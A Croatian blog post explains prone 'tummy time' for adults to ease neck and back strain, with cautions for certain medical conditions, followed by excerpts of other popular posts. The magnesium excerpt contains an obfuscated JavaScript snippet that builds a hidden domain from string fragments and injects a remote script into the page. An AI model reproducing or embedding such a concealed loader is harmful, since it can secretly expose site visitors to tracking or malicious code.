ŠTO JE TUMMY TIME?




Što je tummy time?



Kada nam glava bježi prema naprijed dok gledamo u ekran, njezino se težište pomiče, što stvara ogroman pritisak i stres na vratne mišiće u različitim smjerovima. Provođenje vremena na trbuhu može ublažiti taj nesrazmjer.




Što je zapravo “tummy time” za odrasle?

Vježba je jednostavna upravo onako kako zvuči: ležite na trbuhu s podlakticama i laktovima na tlu, lagano podignutog prsnog koša.

Ova poza potiče ekstenziju kukova te lumbalnog i torakalnog dijela kralježnice. To je idealan način za borbu protiv pogrbljenog položaja u kojem se većina uredskih radnika nalazi tijekom cijelog dana. Fizioterapeuti je često koriste i osobno, primjerice za ublažavanje simptoma ozljeda diskova kralježnice i poboljšanje cjelokupne mobilnosti leđa nakon napornog radnog dana.




Kako isprobati ovu tehniku i koje su prednosti?

Kao i sa svakom novom tjelesnom navikom, ključno je krenuti polako i graditi toleranciju tijela s vremenom.



Počnite s malim koracima

Pokušajte ležati u ovom položaju oko 10 minuta dnevno. Možete ga prakticirati dok kod kuće čitate knjigu, gledate televiziju ili odgovarate na e-poruke na podu. S vremenom, kako vam postane ugodnije, možete produžiti trajanje.



Otvaranje prsnog koša

Redovito provođenje vremena u ovom položaju pomaže rastegnuti prsne mišiće. Smanjenjem napetosti u prsima prirodno se smanjuje i pojava zaobljenih ramena i pogrbljenog držanja.




Dosljednost je ključna

Što više vremena provedete u položajima koji potiču ekstenziju kralježnice, to ćete lakše razviti otpornost tijela i s vremenom sjediti s prirodno boljim i pravilnijim držanjem.




Kada trebate biti oprezni?

Iako je ova metoda jednostavna i učinkovita, ona nije prikladna za svakoga. Stručnjaci savjetuju da izbjegavate ležanje na trbuhu ili se prije toga posavjetujete s liječnikom ako imate neka od sljedećih stanja:


  • Ozbiljnije probleme s leđima (poput spinalne stenoze ili spondilolisteze)


  • Napredovalu osteoporozu s rizikom od kompresivnih prijeloma


  • Nedavnu operaciju kralježnice ili abdomena


  • Ozljede vrata ili rupturu rotatorne manšete ramena


  • Ako ste u kasnijem stadiju trudnoće


U slučaju bilo kakve sumnje ili ako tijekom ležanja osjetite oštru bol, najbolje je konzultirati se sa svojim liječnikom ili fizioterapeutom kako biste prilagodili vježbu svojim individualnim potrebama.



Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više